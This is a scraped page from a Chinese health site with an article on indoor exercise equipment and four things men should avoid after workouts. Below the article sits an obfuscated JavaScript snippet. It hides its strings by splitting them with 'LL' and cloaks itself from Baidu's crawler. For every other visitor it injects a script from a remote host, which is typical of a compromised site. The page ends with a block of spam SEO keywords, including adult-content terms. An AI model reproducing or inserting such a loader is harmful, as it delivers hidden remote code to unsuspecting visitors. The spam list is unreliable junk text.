當前位置:首頁 > 健康 > 運動健身 > 正文

在室內做什么運動比較好

2017-04-15 22:56:15  來源:360常識網   熱度:
導語:現在運動是很多人都喜歡做的一個事情。由于有時會出現惡劣天氣,凍雨、雪天等給喜愛戶外運動的人們造成諸多不便。在這樣的天氣條件下,暫時

現在運動是很多人都喜歡做的一個事情。由于有時會出現惡劣天氣,凍雨、雪天等給喜愛戶外運動的人們造成諸多不便。在這樣的天氣條件下,暫時將運動地點從戶外轉向室內,安全、方便,老少皆宜。那室內運動有哪些好處呢?有什么樣的運動適合室內的呢?

他在室內健身器材中,功率自行車、跑步機和劃船器很受健身者歡迎,其特點為占地面積小、易于普及、易學易練,適合各年齡段的人。最重要的是不受天氣因素的影響,可用于經常性鍛煉。

室內健身可以提高心肺功能,鍛煉上、下肢肌肉力量,增強全身耐力。借助器械發展身體各部位功能,鍛煉平時不常活動的肌肉,防止肌肉萎縮。同時,利用健身器材上顯示的各項身體機能參數,可準確、定量地計算身體負荷,掌握能耗情況,以有效地控制體重或減肥,獲得健身健美的效果。

室內健身的運動種類主要有:功率自行車,鍛煉者可設計出蹬車鍛煉方案,根據蹬車時屏幕上顯示的心率、速度、距離、時間和能量消耗等有關數據,及時掌握和調整運動負荷。

跑步機,可以根據鍛煉時顯示的相關數據,將能量消耗的方式控制在有氧運動范圍內,以達到鍛煉人體心血管呼吸系統等機能的目的;劃船器,可以鍛煉手臂、腿部、腰背部和胸部肌肉,是一種很好的全身運動形式。

沒有器材的人,可選擇登樓梯、室內跳繩、在陽臺上打太極拳、做俯臥撐、舉啞鈴、做體操等簡便的運動方法。 進行室內健身時,應做好準備活動,特別要充分活動上、下肢。

男人運動之后牢記四不宜

1、不能立即休息

劇烈運動后如立即停下來休息,肌肉的節律性收縮會停止,原先流進肌肉的大量血液就不能通過肌肉收縮流回心臟,造成血壓降低,出現腦部暫時性缺血,引發心慌氣短、頭暈眼花、面色蒼白,甚至休克昏倒等癥狀。

2、不可馬上洗浴

運動后如馬上洗冷水浴會因突然刺激,使血管立即收縮,血液循環阻力加大,同時機體抵抗力降低,人就容易生病。

而如洗熱水澡則會增加皮膚內的血液流量,血液過多地流進肌肉和皮膚中,導致心臟和大腦供血不足,輕者頭昏眼花,重者虛脫休克,還容易誘發其他慢性疾病。

3、不宜大量吃糖

有的人在劇烈運動后覺得吃些甜食或糖水很舒服,就以為運動后多吃甜食有好處,其實運動后過多吃甜食會使體內的維生素B1大量消耗,人就會感到倦怠、食欲不振等,影響體力的恢復。

4、不能飲酒解乏

劇烈運動后人的身體機能會處于亢奮狀態,此時喝酒會使身體更快地吸收酒精成分而進入血液,對肝、胃等器官的危害就會比平時更甚。

長期如此可引發脂肪肝、肝硬化、胃炎、胃潰瘍、癡呆癥等疾病。運動后即便是喝啤酒也不好,它會使血液中的尿酸增加,使關節受到很大的刺激,引發關節炎癥。

運動后做好放松運動。使用器材應掌握正確的身體姿勢,動作要有節奏,利用得當,避免對肌肉、骨骼和神經等造成不良影響。而且,值得提醒的是,最好在劇烈運動后最好多吃一些含維生素B1的食品,如蔬菜、肝、蛋等食物。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
在线观看精品一区| 久久91精品久久91综合| 国产成人午夜精品一区二区三区| 亚洲无删减国产精品一区| 国产亚洲精品久久久久秋霞| 好吊妞视频这里只有精品| 久久国产精品亚洲综合| 高清国产精品人妻一区二区| 国产精品gz久久久| 99国产精品免费观看视频| 国内精品伊人久久久久av一坑| 国产精品一区二区久久精品无码| 青草午夜精品视频在线观看| 精品国产一区二区三区久| 毛片亚洲AV无码精品国产午夜| 国产精品av一区二区三区不卡蜜| 亚洲国产成人综合精品| 欧美精品久久久久a片一二三区| 国产精品女主播自在线拍| 国产精品久久久久久久app| 国产精品成人久久久| 亚洲AV永久无码精品一福利| 久久亚洲精品高潮综合色a片| 久久精品麻豆日日躁夜夜躁| 九九精品国产亚洲AV日韩| 天堂一区二区三区精品| 精品视频国产狼人视频| 国产成人亚综合91精品首页| 精品国自产拍天天拍2021| 亚洲欧洲精品成人久久奇米网| 国产精品成人国产乱一区| 国精品无码A区一区二区| 亚洲精品无码mv在线观看网站| 久久久国产精品福利免费| 亚洲一二成人精品区| 久久精品亚洲AV久久久无码| 99久久久精品免费观看国产| 精品一区二区ww| 国产成人精品无码一区二区老年人| 亚洲国产精品人人做人人爱| www.精品在线|